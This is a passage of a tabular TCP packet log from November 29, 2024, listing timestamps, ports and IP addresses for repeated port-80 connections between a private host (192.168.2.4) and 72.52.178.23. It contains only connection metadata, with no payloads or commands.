Nov 29, 2024 01:53:18.856858969 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:18.951903105 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:18.951916933 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:18.952035904 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:18.952047110 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:18.952063084 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:18.952114105 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:18.952162027 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:19.068602085 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:19.068665028 CET	49888	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:19.102374077 CET	49888	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:19.222322941 CET	80	49888	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:19.364731073 CET	49890	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:19.484780073 CET	80	49890	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:19.484838963 CET	49890	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:19.484946966 CET	49890	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:19.485008955 CET	49890	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:19.485080957 CET	49890	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:19.485100031 CET	49890	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:19.604892969 CET	80	49890	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:19.605014086 CET	80	49890	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:19.605066061 CET	49890	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:19.605067968 CET	80	49890	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:19.605076075 CET	80	49890	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:19.605119944 CET	49890	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:19.605159044 CET	80	49890	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:19.605187893 CET	80	49890	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:19.605210066 CET	49890	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:19.605221033 CET	49890	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:19.605241060 CET	80	49890	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:19.605248928 CET	80	49890	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:19.605293036 CET	49890	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:19.605369091 CET	80	49890	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:19.605416059 CET	49890	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:19.605424881 CET	80	49890	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:19.605433941 CET	80	49890	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:19.605475903 CET	49890	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:19.605514050 CET	80	49890	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:19.605561018 CET	49890	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:19.725095987 CET	80	49890	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:19.725110054 CET	80	49890	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:19.725148916 CET	80	49890	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:19.725164890 CET	49890	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:19.725192070 CET	80	49890	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:19.725213051 CET	49890	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:19.725224018 CET	49890	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:19.769696951 CET	80	49890	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:19.769800901 CET	49890	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:19.885680914 CET	80	49890	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:19.885760069 CET	49890	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:19.887413979 CET	80	49889	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:19.887473106 CET	49889	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:19.887537003 CET	49889	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:19.933782101 CET	80	49890	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:19.934005976 CET	49890	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:19.956665039 CET	49890	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:20.003741980 CET	49895	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:20.007972956 CET	80	49889	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:20.049778938 CET	80	49890	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:20.049853086 CET	49890	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:20.121496916 CET	49897	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:20.123853922 CET	80	49895	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:20.124155045 CET	49895	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:20.124274969 CET	49895	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:20.241408110 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:20.241556883 CET	49897	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:20.241677999 CET	49897	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:20.241677999 CET	49897	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:20.241772890 CET	49897	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:20.241796970 CET	49897	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:20.244121075 CET	80	49895	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:20.362447977 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:20.364269972 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:20.364347935 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:20.364356041 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:20.364363909 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:20.364372015 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:20.364381075 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:20.364388943 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:20.364397049 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:20.364399910 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:20.364403963 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:20.364435911 CET	49897	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:20.364495993 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:20.364566088 CET	49897	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:20.364588976 CET	49897	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:20.484517097 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:20.484561920 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:20.484647989 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:20.484663963 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:20.484663963 CET	49897	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:20.484783888 CET	49897	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:20.525749922 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:20.525902033 CET	49897	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:20.645760059 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:20.652564049 CET	49897	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:20.689829111 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:20.690094948 CET	49897	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:20.810072899 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:20.810194016 CET	49897	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:20.973815918 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:20.973869085 CET	49897	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:21.177747011 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.177812099 CET	49897	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:21.232356071 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.232497931 CET	49897	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:21.297873020 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.308312893 CET	80	49895	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.308379889 CET	49895	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:21.308418989 CET	49895	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:21.352549076 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.352560997 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.352633953 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.352643013 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.352722883 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.352771997 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.425715923 CET	49898	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:21.428395987 CET	80	49895	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.471353054 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.471415997 CET	49897	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:21.471440077 CET	49897	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:21.545695066 CET	80	49898	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.545769930 CET	49898	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:21.546031952 CET	49898	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:21.591367960 CET	80	49897	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.665982962 CET	80	49898	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.669168949 CET	49899	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:21.789424896 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.789490938 CET	49899	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:21.789654970 CET	49899	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:21.789705038 CET	49899	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:21.789781094 CET	49899	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:21.789805889 CET	49899	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:21.909571886 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.909687996 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.909722090 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.909800053 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.909809113 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.909882069 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.909938097 CET	49899	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:21.909949064 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.910020113 CET	49899	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:21.910020113 CET	49899	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:21.910049915 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.910058975 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.910156965 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.910202980 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.910202980 CET	49899	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:21.910211086 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:21.910243988 CET	49899	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:21.910243988 CET	49899	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:22.029936075 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:22.029946089 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:22.029992104 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:22.030021906 CET	49899	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:22.030077934 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:22.030121088 CET	49899	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:22.030165911 CET	49899	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:22.073848963 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:22.074131012 CET	49899	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:22.194226980 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:22.194314957 CET	49899	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:22.237792969 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:22.357795954 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:22.357892990 CET	49899	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:22.561831951 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:22.561918974 CET	49899	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:22.743645906 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:22.743822098 CET	49899	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:22.774653912 CET	80	49898	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:22.774741888 CET	49898	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:22.774873972 CET	49898	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:22.863859892 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:22.863878965 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:22.863936901 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:22.863945961 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:22.864021063 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:22.864037037 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:22.864120007 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:22.864135027 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:22.864171028 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:22.878633976 CET	49905	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:22.894707918 CET	80	49898	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:22.973442078 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:22.973526001 CET	49899	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:22.973578930 CET	49899	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:22.998584032 CET	80	49905	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:22.998694897 CET	49905	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:22.998848915 CET	49905	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:23.093666077 CET	80	49899	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:23.118805885 CET	80	49905	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:23.148111105 CET	49906	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:23.268055916 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:23.268285036 CET	49906	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:23.268933058 CET	49906	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:23.268969059 CET	49906	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:23.269062042 CET	49906	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:23.269144058 CET	49906	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:23.430794954 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:23.430809975 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:23.430819035 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:23.430829048 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:23.430838108 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:23.430847883 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:23.430855989 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:23.430869102 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:23.430877924 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:23.430886984 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:23.430887938 CET	49906	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:23.430896044 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:23.430906057 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:23.430958986 CET	49906	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:23.430958986 CET	49906	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:23.430984974 CET	49906	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:23.663223028 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:23.663234949 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:23.663243055 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:23.663250923 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:23.663273096 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:23.663366079 CET	49906	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:23.663420916 CET	49906	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:23.825793982 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:23.829129934 CET	49906	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:23.989763021 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:23.992763042 CET	49906	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:24.187381983 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.187464952 CET	49906	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:24.251365900 CET	80	49905	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.251424074 CET	49905	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:24.251477957 CET	49905	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:24.307527065 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.307542086 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.307560921 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.307593107 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.307650089 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.307668924 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.307729006 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.307766914 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.307832956 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.307841063 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.307977915 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.363614082 CET	49911	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:24.371391058 CET	80	49905	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.407706976 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.407759905 CET	49906	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:24.407804966 CET	49906	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:24.483544111 CET	80	49911	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.483607054 CET	49911	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:24.483777046 CET	49911	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:24.527714968 CET	80	49906	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.589308977 CET	49913	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:24.603652954 CET	80	49911	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.709239960 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.709315062 CET	49913	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:24.709474087 CET	49913	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:24.709549904 CET	49913	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:24.709598064 CET	49913	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:24.709614038 CET	49913	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:24.829304934 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.829583883 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.829606056 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.829639912 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.829660892 CET	49913	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:24.829720020 CET	49913	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:24.829809904 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.829854012 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.829865932 CET	49913	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:24.829940081 CET	49913	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:24.829953909 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.829962969 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.829998970 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.830009937 CET	49913	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:24.830048084 CET	49913	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:24.830053091 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.830061913 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.830091953 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.830106020 CET	49913	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:24.830140114 CET	49913	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:24.949801922 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.949815035 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.949863911 CET	49913	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:24.949908018 CET	49913	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:24.949934959 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.949968100 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.950012922 CET	49913	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:24.993771076 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:24.994496107 CET	49913	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:25.113809109 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:25.113888979 CET	49913	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:25.157912970 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:25.157973051 CET	49913	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:25.277873993 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:25.365757942 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:25.365839958 CET	49913	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:25.609814882 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:25.609879017 CET	49913	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:25.627746105 CET	80	49911	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:25.627830029 CET	49911	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:25.628520012 CET	49911	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:25.662494898 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:25.665218115 CET	49913	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:25.729984999 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:25.738419056 CET	49914	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:25.748385906 CET	80	49911	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:25.785254955 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:25.785267115 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:25.785341024 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:25.785350084 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:25.785403967 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:25.785430908 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:25.785542011 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:25.785552025 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:25.858375072 CET	80	49914	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:25.858447075 CET	49914	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:25.858565092 CET	49914	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:25.892183065 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:25.892252922 CET	49913	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:25.892405033 CET	49913	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:25.978398085 CET	80	49914	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:26.012351036 CET	80	49913	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:26.054455996 CET	49915	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:26.174356937 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:26.174427032 CET	49915	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:26.175827026 CET	49915	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:26.175852060 CET	49915	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:26.175906897 CET	49915	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:26.176047087 CET	49915	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:26.295671940 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:26.295922995 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:26.295967102 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:26.295975924 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:26.296040058 CET	49915	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:26.296082973 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:26.296092033 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:26.296140909 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:26.296154976 CET	49915	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:26.296190023 CET	49915	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:26.296195030 CET	80	49915	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:26.296233892 CET	49915	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:26.296238899 CET	80	49915	72.52.178.23	192.168.2.4
